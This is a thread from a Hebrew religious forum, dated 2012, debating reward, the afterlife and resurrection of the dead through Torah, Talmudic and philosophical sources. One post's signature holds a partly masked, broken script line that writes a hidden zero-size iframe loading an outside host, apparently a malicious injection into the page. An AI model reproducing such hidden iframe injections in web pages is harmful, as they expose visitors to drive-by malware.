| נשלח ב-29/6/2012 11:16 |
|
| |
הרב מימוני כאן יש להבין את הגמול במובן הפשטני למדי שמקובל היום, נניח אצל הרמח"ל (שאינו פשטני). העולם הזה הוא עולם הנסיון. יש מקצת גמול בעולם הזה והעיקר לעולם הבא (בין בעולם הנשמות בין בתחית המתים).
האם אתה לא חושב שזו יומרנות- מכל ילוד אשה לקבוע ולדעת איך הקב"ה נותן גמול, זולתי ממה שכתוב בתורה. הרי אנחנו מאמינים שה' הוא נותן התורה. ואין הרי כל הגיו אנושי ולא אנשי שבדיוק את מעשי הגמול וצורתו וזמנו יסתיר מאתנו וישאיר את בידי אנשים כמוך וכמוני -לספר לנו. מה עוד הרי בתורה כתוב בפרוש צורת הגמול. כל דעה אחרת הרי סותרת על פניו את מה שכתוב בתורה. התורה שאנחנו מאמינים כי מה' הוא. וכל מה שנכתב בו אמת. האם משה אמת ותרתו אמת אינו משפט נכון?
|
|
|
|
| נשלח ב-30/6/2012 22:07 |
|
| |
| maxmen כתב: |  | | קודם כל זה לא רמז עלוב זה סיפור משמעותי בהשתתפות מלך ישראל הראשון ועם גדול הנביאים אחרי
משה רבינו ומנהיג בעצמו.
ולגבי מה קורה שם
הנה מדרש חז"ל
ויאמר שמואל אל שאול למה הרגזתני להעלות אותי
ר' אלעזר כי הוה מטי להאי קרא בכי:
ומה שמואל הנביא היה מתירא מיום הדין, אנו על אחת כמה וכמה.
החז"ל הזה דווקא סותר את החיים אחרי המוות,
הרי החז"ל הזה הלך בחשיבה של תחית המתים ויום הדין הגדול, כלומר מתים\ישנים עד יום הדין הגדול שתהיה אחרי תחית המתים,
זה הרי אחד מהבילבולים שהרמב"ם מכוון עליו בפירושו בפרק חלק (במשניות) בסנהדרין,
היית דעה שהשכר והעונש והגמול תהיה מתי שהוא שאז כולם יתעוררו מקברם, צדיקים ורשעים כולם יקומו, ויהיה יום הדין הגדול,
משמע מהחשיבה הזו שאין כלום אחרי המות כלומר כל הדורות עד ימינו לא חיים עכשיו, אפשר על פי פשוטו של החז"ל הזה רק להעיר אותם כמו שירמיהו העיר את האבות ואת משה בזמן חורבן הבית, וזה הפשט של טענת שמואל למה "הרגזתני" = מדוע הערתה אותי משנתי לריק אם עכשיו לא יום הדין הגדול,
האמונה שיש חיים אחרי המוות ויש גן עדן וגהינם עכשיו מיד שמתים, סותרת לגמרי אלפי חז"לים, הרי בשביל מה תחית המתים ובשביל מה יום הדין הגדול אם כולם נידונים מיד אחרי מותם,
תוקן על ידי maxmen ב- 29/06/2012 10:38:58 |
|
לא יודע על איזה חז"לים אתה מדבר הנה משהו שלא ניתן לשום פרשנות של אחר תחיית המתים
נאמר בגמרא במסכת בבא בתרא דף י' עמוד ב':
"יוסף בריה דרבי יהושע חלש [חלה] אינגיד [מת].
[אחר כך קם מן המתים] אמר ליה אבוה [אמר לו אביו] מאי חזית [מה ראית. בעולם העליון]?
אמר ליה [אמר לו] עולם הפוך ראיתי עליונים למטה ותחתונים למעלה. [רש"י: עליונים למטה. אותם שהם עליונים כאן מחמת עושרן ראיתי שם שהם למטה. ותחתונים למעלה. ראיתי עניים שהם בינינו שפלים שם ראיתים חשובים].
אמר ליה [רבי יהושע לבנו] עולם ברור ראית.
ואנן היכי חזיתינן [רבי יהושע שאל את בנו, אנחנו תלמידי חכמים כיצד ראית אותנו?]
אמר ליה כי היכי דחשבינן הכא חשבינן התם [כמו שאנו חשובים ונכבדים כאן כך אנו חשובים ונכבדים שם]".
|
|
|
|
| נשלח ב-30/6/2012 22:52 |
|
| |
ירוחם
שאלת איך יכולים ילודי אשה להתיימר לדעת מה הקב"ה קובע עבורנו לעולם הבא, לאחר שנמות.
באמת איך?
יש כמה מקורות להשערות כאלו.
האחד הוא הידע הכללי שהיה קיים בסביבה: ייראה לי שהשאלה הזו, שבימינו נחשבת למשהו פילוסופי-מטפיזי-דתי שאי אפשר להכריע בו, היתה פעם נכללת בין הידע הכללי, המדעי למחצה, שלא היו בו אבחנות כשלנו בין מדע למטפיזיקה. המתים אינם מפסיקים להתקיים לגמרי אלא מנהלים חיים ברמה נחותה בעולם המתים שנמצא מתחת לאדמה. כך האמינו באומות השכנות לעם ישראל בימי המקרא, וכך עולה לכאורה מקטעי פסוקים. התורה לא דנה במפורש בשאלה זו, ואפשר להעלות השערות מנוגדות: האם התורה סבורה שאין כלל חיים לאחר המוות, אבל לא כתבה זאת במפורש כדי לא לזעזע יותר מדי, או שהתורה מניחה את האמונה על מקומה כיון שהיא נכונה?
מקור שני הוא האינטואיציה המוסרית שלנו. אפשר שהיא נכונה ואפשר שלא. כמדומה שעמנואל קנט, הפילוסוף הגוי, ביטא אותה היטב כאשר כתב כי כיון שחיינו בעולם הזה קצרים ולא הכי מאושרים, המוסר שמחייב גמול מחייב גם מקום וזמן של גמול, ולכן צריך עולם הבא. זה לא מלמד מה יהיה טיבו, אבל זה מחייב שיהיה כזה. וכיון שיש אלוקים שהוא בעל חכמה ורצון טוב (כתארי מהות או כתארי פעולה?) אז אפשר לסמוך שהוא יקיים את המחוייבות הזו.
אפשר להתווכח על שני מקורות מידע אלו. אבל אפשר גם להבין את מי שיסתמך עליהם.
___נוספו כמה מילות הבהרה.______________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");>
תוקן על ידי מיימוני ב- 30/06/2012 22:52:37
 |
|
|
|
|
| נשלח ב-30/6/2012 23:01 |
|
| |
הרב מימוני אבל בתורה הוא הקציב את שנות חיי האדם ל120 את כל הגמול על מעשיו ומחדליו הוא גם פירט במדויק- לפרט ולכלל. יש זמן ויש גמול בתוך הזמן הקצוב.
דבר אחד אני מסכים בפילוסופיה ובדמיון הכל אפשרי. אבל במציאות לא
|
|
|
|
| נשלח ב-30/6/2012 23:37 |
|
| |
האם לא כל אדם מרגיש שיש בו משהו יותר מחמשה חושים? שה'אני' לא מסתכם רק באיברים שלו? אולי הבעיה אצלי...
מקס,
גם הדוגמא עם האישה היפה עדיין תלויה בעולם הגשמי. לולי האישה היפה - הגשמית, לא הייתה הנאה. אתה רוצה דוגמא 100% רוחנית? אמונה, יחוד ה', אהבה, יראה.
|
|
|
|
| נשלח ב-1/7/2012 00:17 |
|
| |
ירוחם
הלכה למשה מסיני נאמר רק על מה שאין לו שום רמז או איזכור מקרא. עיין עירובין ד שם הגמ' שואלת מדוע שיעורין חציצה ומחיצה זה הלכה למשה מסיני הרי זה רמוז בתורה? והיא מביאה רמזים דקים מאד. רמזים ברמה כזאת שאפשר למצוא גם לעולם הבא.
|
|
|
|
| נשלח ב-1/7/2012 11:10 |
|
| |
מבקש- הלכה למשה מסיני נאמר רק על מה שאין לו שום רמז או איזכור מקרא. ויש להוסיף גם אי אפשר ללמוד אותה מהדרכים שהתורה נדרשת בהם. מבקש אני היתי וגם מבקש שדברים כה אקוטיים כמו תחיית המתים ועולם הבא יהו כתובים בברור ולא ברמזי שערה עם בכלל. וודאי לא לבסס את הרמזים הללו אל הבנה מוטעת בפסוק מהתורה. למשל חז"ל לומדים על תחיית המתים מהפסוק
דברים פרק לא
וַיֹּאמֶר יְקֹוָק אֶל מֹשֶׁה הִנְּךָ שֹׁכֵב עִם אֲבֹתֶיךָ וְקָם הָעָם הַזֶּה וְזָנָה אַחֲרֵי אֱלֹהֵי נֵכַר הָאָרֶץ אֲשֶׁר הוּא בָא שָׁמָּה בְּקִרְבּוֹ וַעֲזָבַנִי וְהֵפֵר אֶת בְּרִיתִי אֲשֶׁר כָּרַתִּי אִתּוֹ:
|
|
|
|
|